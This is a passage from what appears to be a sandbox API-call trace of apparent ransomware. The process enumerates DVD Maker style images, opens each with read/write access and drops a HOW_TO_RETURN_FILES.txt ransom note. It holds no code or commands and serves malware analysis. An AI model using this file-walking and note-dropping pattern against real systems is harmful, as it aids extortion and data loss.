maker\\shared\\dvdstyles\\rectangles\\1047x576_91n92.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.914] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.914] AreFileApisANSI () returned 1 [0125.914] GetACP () returned 0x4e4 [0125.914] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="15x15dot.png", cchWideChar=12, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="15x15dot.png92.png", lpUsedDefaultChar=0x37dec0) returned 12 [0125.914] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\15x15dot.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.915] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.915] AreFileApisANSI () returned 1 [0125.915] GetACP () returned 0x4e4 [0125.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="720x480icongraphic.png", cchWideChar=22, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="720x480icongraphic.png28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 22 [0125.915] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\720x480icongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.915] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.915] AreFileApisANSI () returned 1 [0125.915] GetACP () returned 0x4e4 [0125.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.pngRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 32 [0125.915] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.915] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.915] AreFileApisANSI () returned 1 [0125.915] GetACP () returned 0x4e4 [0125.915] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_SelectionSubpicture.png", cchWideChar=38, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_SelectionSubpicture.png5TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 38 [0125.915] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.915] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.916] AreFileApisANSI () returned 1 [0125.916] GetACP () returned 0x4e4 [0125.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_ButtonGraphic.png", cchWideChar=33, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_ButtonGraphic.pnge.png", lpUsedDefaultChar=0x37dec0) returned 33 [0125.916] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.916] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.916] AreFileApisANSI () returned 1 [0125.916] GetACP () returned 0x4e4 [0125.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationRight_SelectionSubpicture.png", cchWideChar=39, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationRight_SelectionSubpicture.pngTNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS", lpUsedDefaultChar=0x37dec0) returned 39 [0125.916] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.916] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.916] AreFileApisANSI () returned 1 [0125.916] GetACP () returned 0x4e4 [0125.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_ButtonGraphic.png", cchWideChar=30, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_ButtonGraphic.pngcture.png", lpUsedDefaultChar=0x37dec0) returned 30 [0125.916] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.916] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.916] AreFileApisANSI () returned 1 [0125.916] GetACP () returned 0x4e4 [0125.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationUp_SelectionSubpicture.png", cchWideChar=36, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationUp_SelectionSubpicture.pngpng", lpUsedDefaultChar=0x37dec0) returned 36 [0125.916] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.917] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.917] AreFileApisANSI () returned 1 [0125.917] GetACP () returned 0x4e4 [0125.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="reflect.png", cchWideChar=11, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="reflect.pngp_SelectionSubpicture.png", lpUsedDefaultChar=0x37dec0) returned 11 [0125.917] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.917] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.917] AreFileApisANSI () returned 1 [0125.917] GetACP () returned 0x4e4 [0125.917] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vistabg.png", cchWideChar=11, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="vistabg.png", lpUsedDefaultChar=0x37dec0) returned 11 [0125.918] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.918] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 0 [0125.918] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0125.918] AreFileApisANSI () returned 1 [0125.918] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aafd0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 79 [0125.918] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0125.919] GetFileType (hFile=0x130) returned 0x1 [0125.920] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.920] AreFileApisANSI () returned 1 [0125.920] GetACP () returned 0x4e4 [0125.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_babypink_Thumbnail.bmp", cchWideChar=32, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_babypink_Thumbnail.bmpg", lpUsedDefaultChar=0x37df4c) returned 32 [0125.920] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_babypink_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_babypink_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.921] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.921] AreFileApisANSI () returned 1 [0125.921] GetACP () returned 0x4e4 [0125.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_glass_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_glass_Thumbnail.bmpbmp", lpUsedDefaultChar=0x37df4c) returned 29 [0125.921] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_glass_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_glass_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.921] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.921] AreFileApisANSI () returned 1 [0125.921] GetACP () returned 0x4e4 [0125.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_highlights_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_highlights_Thumbnail.bmpng", lpUsedDefaultChar=0x37df4c) returned 34 [0125.921] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.922] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.922] AreFileApisANSI () returned 1 [0125.922] GetACP () returned 0x4e4 [0125.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_performance_Thumbnail.bmp", cchWideChar=35, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_performance_Thumbnail.bmpg", lpUsedDefaultChar=0x37df4c) returned 35 [0125.922] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_performance_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_performance_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.922] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.922] AreFileApisANSI () returned 1 [0125.922] GetACP () returned 0x4e4 [0125.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_photo_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_photo_Thumbnail.bmpil.bmp", lpUsedDefaultChar=0x37df4c) returned 29 [0125.922] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_photo_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_photo_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.923] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.923] AreFileApisANSI () returned 1 [0125.923] GetACP () returned 0x4e4 [0125.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_plain_Thumbnail.bmp", cchWideChar=29, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_plain_Thumbnail.bmp", lpUsedDefaultChar=0x37df4c) returned 29 [0125.923] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.923] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.923] AreFileApisANSI () returned 1 [0125.923] GetACP () returned 0x4e4 [0125.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_postage_Thumbnail.bmp", cchWideChar=31, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_postage_Thumbnail.bmp.bmp", lpUsedDefaultChar=0x37df4c) returned 31 [0125.923] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.923] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.923] AreFileApisANSI () returned 1 [0125.923] GetACP () returned 0x4e4 [0125.923] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_scrapbook_Thumbnail.bmp", cchWideChar=33, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_scrapbook_Thumbnail.bmpmp", lpUsedDefaultChar=0x37df4c) returned 33 [0125.923] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.924] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.924] AreFileApisANSI () returned 1 [0125.924] GetACP () returned 0x4e4 [0125.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_specialocc_Thumbnail.bmpp", lpUsedDefaultChar=0x37df4c) returned 34 [0125.924] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.924] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.924] AreFileApisANSI () returned 1 [0125.924] GetACP () returned 0x4e4 [0125.924] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_travel_Thumbnail.bmp", cchWideChar=30, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_travel_Thumbnail.bmp.bmp", lpUsedDefaultChar=0x37df4c) returned 30 [0125.924] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_travel_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_travel_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.925] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.925] AreFileApisANSI () returned 1 [0125.925] GetACP () returned 0x4e4 [0125.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rectangle_widescreen_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="rectangle_widescreen_Thumbnail.bmp", lpUsedDefaultChar=0x37df4c) returned 34 [0125.925] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_widescreen_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_widescreen_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.925] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0125.925] AreFileApisANSI () returned 1 [0125.925] GetACP () returned 0x4e4 [0125.925] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ResizingPanels", cchWideChar=14, lpMultiByteStr=0x6aae44, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ResizingPanelsscreen_Thumbnail.bmp", lpUsedDefaultChar=0x37df4c) returned 14 [0125.925] AreFileApisANSI () returned 1 [0125.925] GetACP () returned 0x4e4 [0125.925] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=59, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\h獰k") returned 59 [0125.927] AreFileApisANSI () returned 1 [0125.927] GetACP () returned 0x4e4 [0125.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0125.927] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.927] AreFileApisANSI () returned 1 [0125.927] GetACP () returned 0x4e4 [0125.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0125.927] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.927] AreFileApisANSI () returned 1 [0125.927] GetACP () returned 0x4e4 [0125.927] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x37dec0) returned 17 [0125.927] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.928] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.928] AreFileApisANSI () returned 1 [0125.928] GetACP () returned 0x4e4 [0125.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="203x8subpicture.png", cchWideChar=19, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="203x8subpicture.png", lpUsedDefaultChar=0x37dec0) returned 19 [0125.928] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\203x8subpicture.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.928] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.928] AreFileApisANSI () returned 1 [0125.928] GetACP () returned 0x4e4 [0125.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="bandwidth.png", cchWideChar=13, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="bandwidth.pngre.png", lpUsedDefaultChar=0x37dec0) returned 13 [0125.928] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\bandwidth.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\bandwidth.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.929] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.929] AreFileApisANSI () returned 1 [0125.929] GetACP () returned 0x4e4 [0125.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="blackbars80.png", cchWideChar=15, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="blackbars80.png.png", lpUsedDefaultChar=0x37dec0) returned 15 [0125.929] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\blackbars80.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\blackbars80.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xffffffff [0125.929] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6be208 | out: lpFindFileData=0x6be208) returned 1 [0125.929] AreFileApisANSI () returned 1 [0125.929] GetACP () returned 0x4e4 [0125.929] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="NavigationLeft_ButtonGraphic.png", cchWideChar=32, lpMultiByteStr=0x6b738c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="NavigationLeft_ButtonGraphic.png\\", lpUsedDefaultChar=0x37dec0) returned 32 [0125.929] CreateFileA (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd 